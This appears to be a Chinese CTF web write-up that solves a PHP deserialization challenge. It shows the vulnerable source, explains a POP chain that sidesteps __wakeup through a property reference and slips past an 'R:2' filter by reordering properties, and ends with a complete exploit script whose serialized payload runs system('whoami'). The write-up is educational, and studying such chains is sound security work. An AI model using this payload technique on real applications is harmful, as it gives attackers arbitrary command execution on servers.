<?php
show_source('index.php');
class MGkk8
{
public $a;
public $b;
public function rpl2()
{
echo('MGrp12;');
$b = $this->b;
if ($this->a == "RPG") {
echo('ifyes;');
($b->a)($b->b."");
echo('evalyes;');
}
}
}
class KOkjs
{
public $a;
public $b;
public function __toString()
{
echo('kotostring');
$this->a->rpl2();
}
}
class u1Y7U
{
public $a;
public $b;
public function __toString()
{
$this->a->TiYM6();
}
}
class QMRb7
{
public $a;
public $b;
public function TiYM6()
{
$this->b->learn();
}
}
class y97pu
{
public $a;
public $b;
public $c;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
echo('destruct;');
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
echo('wakeup;');
$this->a = "";
echo('wakeupgo');
}
}
class m1_99
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
} if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
if(stripos($c,'R:2')!== false){
die("no Reference");
}
unserialize($c);
}else {
highlight_file(__FILE__);
}

pop链的构造

本题关键代码点

$this->b = $this->c;
die($this->a);

构造pop链的起点很明显是KOkjs的tostring方法,我们想进tostring就想办法把关键代码点中的$this->a赋值成一个实例

但是由于wakeup方法会把$this->a变成空白,所以我们要想办法绕过wakeup

这里常规方法都是无法绕过的,所以考虑地址相等绕过

$this->b = &$this->a
$this->c = new KOkjs();

这样我们保证了变量a和b指向同一个地址,调用wakeup也不会把a赋值为空。

同时变量c赋值为类KOkjs类的实例化对象,通过$this->b=$this->c把b赋值为类的实例化对象,然后通过变量a和b指向同一个地址,把$this->a赋值为类的实例化对象,那么die实例化对象时就是把这个实例化对象当作字符串输出,调用tostring方法,链子就走下去了。

$a = new y97pu();
$a->a = new KOkjs();
$a->b = &$a->a; $a->c = new KOkjs();
$a->c->a = new MGkk8(); $a->c->a->b= new MGkk8;
$a->c->a->b->a = "system";
$a->c->a->b->b = "whoami";
$a->c->a->a="RPG";
echo(serialize($a));

R:2的绕过

这时我们会发现一个问题,这样输出的序列化字符串中会含有R:2,而题目中把这个R:2ban掉了,为了绕过这一步过滤我们需要了解一下R:2的含义

R:2 的含义

  • R:n 表示引用(reference)到第 n 个已定义的变量
  • 这里的 2 指的是 序列化时顺序编号的第 2 个元素
  • PHP 在反序列化时会把 R:2 解析成一个“引用”而不是新建的副本,也就是说它和第 2 个位置的值是同一个引用。

序列化编号规则

  • 序列化时,每遇到一个新值(对象、数组、字符串等),PHP 会从 1 开始依次编号
  • 后面如果遇到 R:x,就是对前面编号为 x 的元素的引用。

所以我们跟着pop链来走一下

结构分析

  1. 编号 1
O:5:"y97pu":3:{ ... }

→ 一个类名为 y97pu 的对象,里面有 3 个属性:abc

  1. 编号 2
O:5:"KOkjs":2:{
s:1:"a";N;
s:1:"b";N;
}
  1. 属性 b
R:2

→ 引用编号 2 的对象,也就是上面那个 KOkjs(a=null,b=null)

所以 y97pu->by97pu->a 指向同一个对象。

所以我们只要改变一下y97pu中变量abc的顺序就可以了

class y97pu
{
public $c;
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
$this->a = "";
}
}

为什么这样会变成R:9

用第二个脚本(class y97pu { public $a; public $b; public $c; })为例,序列化时典型“遇到顺序”(只列出对象类型节点)大致是:

  1. y97pu(根对象) — 分配 id=1
  2. y97pu->a(第一个 KOkjs) — 分配 id=2
  3. y97pu->c(第二个 KOkjs) — 分配 id=3
  4. y97pu->c->a(第一个 MGkk8) — id=4
  5. y97pu->c->a->b(第二个 MGkk8) — id=5

    -> 此时 y97pu->b 是对第 2 个节点(y97pu->a)的引用,所以写成 R:2

y97pu 的属性声明顺序改为 c,a,b,序列化的“遇到顺序”会变成先序列化 c 分支里的对象,导致那个原来属于 aKOkjs 在序列化流中出现得更晚,从而获得一个更大的编号(你环境中是 9)。

注意:上面我列出的是“对象节点”的遇到顺序;PHP 内部可能还会对其它可引用项(某些标量或内部 zval)计编号,这会让最终的数字看起来更大一些,但本质不变 —— 编号取决于遇到的先后顺序

完整exp

<?php
error_reporting(0);
class MGkk8
{
public $a;
public $b;
public function rpl2()
{
$b = $this->b;
if ($this->a == "RPG") {
($b->a)($b->b."");
}
}
}
class KOkjs
{
public $b;
public $a;
public function __toString()
{
$this->a->rpl2();
}
}
class u1Y7U
{
public $a;
public $b;
public function __toString()
{
$this->a->TiYM6();
}
}
class QMRb7
{
public $a;
public $b;
public function TiYM6()
{
$this->b->learn();
}
}
class y97pu
{
public $c;
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
$this->a = "";
}
}
class m1_99
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
} if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
if(stripos($c,'R:2')!== false){
die("no Reference");
}
unserialize($c);
}else { } $a = new y97pu();
$a->a = new KOkjs();
$a->b = &$a->a; $a->c = new KOkjs();
$a->c->a = new MGkk8(); $a->c->a->b= new MGkk8;
$a->c->a->b->a = "system";
$a->c->a->b->b = "whoami";
$a->c->a->a="RPG"; //echo($a);
echo(serialize($a));

【铸网-2025】线下赛 web 详细题解的更多相关文章

  1. ogeek线下赛web分析1-python-web

    1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ...

  2. Redhat 线下赛 WEB WP

    赛制 给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手 ...

  3. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  4. CTF线下赛AWD模式下的生存技巧

    作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...

  5. 2021江西省赛线下赛赛后总结(Crypto)

    2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...

  6. 2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)

    目录 解题思路 总结 解题思路 拿到题目的时候,只有一个登录界面 拿到登录界面,而且还伴随着有注册界面,联想到SQL的二次注入漏洞 尝试注册admin'#,并使用admin登录,发现登录失败,说明可能 ...

  7. 2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)

    目录 解题思路 总结 解题思路 拿到手上,有四个页面 首先按照题目要求执行,尝试注册一个名为admin的账户 这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了 回到初始界面,点击链接here ...

  8. 某团队线下赛AWD writeup&Beescms_V4.0代码审计

    还是跟上篇一样.拿别人比赛的来玩一下.  0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...

  9. 某线下赛AWD

    拿别人比赛的来玩一下,或许这就是菜的力量吧. 0x01 任意文件读取: switch ($row['media_type']) { case 0: // 图片广告 ...... break; case ...

  10. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

随机推荐

  1. Vlookup实现多条件匹配

    方法一:使用辅助列 只要在目标区域的首列添加一个辅助列,目的就是将多条件转化为一个单条件,这个时候我们就可以用Vlookup进行匹配了,请看下面的示例: 1.在A列前插入一空列,输入公式=B2& ...

  2. WebGL简易教程——结语

    1 概述 笔者在几年前写过一系列关于WebGL的文章<WebGL简易教程--目录>,前端时间将其整理了一下,增加了一个在线案例的站点以便于学习查看.这里就顺便写一段结语吧. 2 观点 2. ...

  3. Codeforces Round #670 (Div. 2) ABC 题解

    A. Subset Mex 题意:把一个集合(可能有重复元素)分成两部分,使得每部分的缺少的最小非负整数的和最大. 其中在原序列里面就缺少的那个最小非负整数肯定是躲不掉的.就先把这个数之前的所有数放在 ...

  4. CLTX 笔试题目预览

    error: multiple storage classes in declaration of `i' 代理服务器常用以下端口: (1). HTTP协议代理服务器常用端口号:80/8080/312 ...

  5. 如何测试wifi的吞吐率

    基本知识储备 Interval 表示时间间隔, transfer 表示时间间隔传输的数据量, Bandwidth是时间间隔里的传输速率. Jitter 表示抖动. Lost/Total 表示丢包的数量 ...

  6. 关于 var 目录磁盘空间不足的解决方案

    参考博客 博客

  7. EASY CONNECT安装使用

    最近在项目运维中遇到要连远程服务器,刚开始客户提供的VPN有问题,老是不稳定,后建议客户使用Easy Connect,记录一下. 1.EASY CONNECT的下载与安装 一般百度EASY CONNE ...

  8. Linguistics-English-Would, Should, and Could: How to Use Them Correctly

    https://7esl.com/would-should-could/ Compare Can, Could and Would Can: capacity Could: possibility W ...

  9. SSL证书和域名不匹配咋解决?

    SSL证书域名不匹配问题是一个常见的网络安全问题,通常会导致浏览器显示安全警告,影响用户的信任度和网站的正常使用.本文将详细探讨SSL证书域名不匹配的原因,并提供一系列解决方案,帮助网站管理员快速有效 ...

  10. 「设计模式详解」工厂模式:简单工厂模式原理、实现与优缺点分析 | 附Java代码示例

    ​大家好,欢迎来到程序视点!我是你们的新朋友.安戈! 设计模式概述:创建型模式的基石 设计模式是软件开发中解决特定问题的经典方案模板,由四位软件工程师(GoF)在<设计模式:可复用面向对象软件的 ...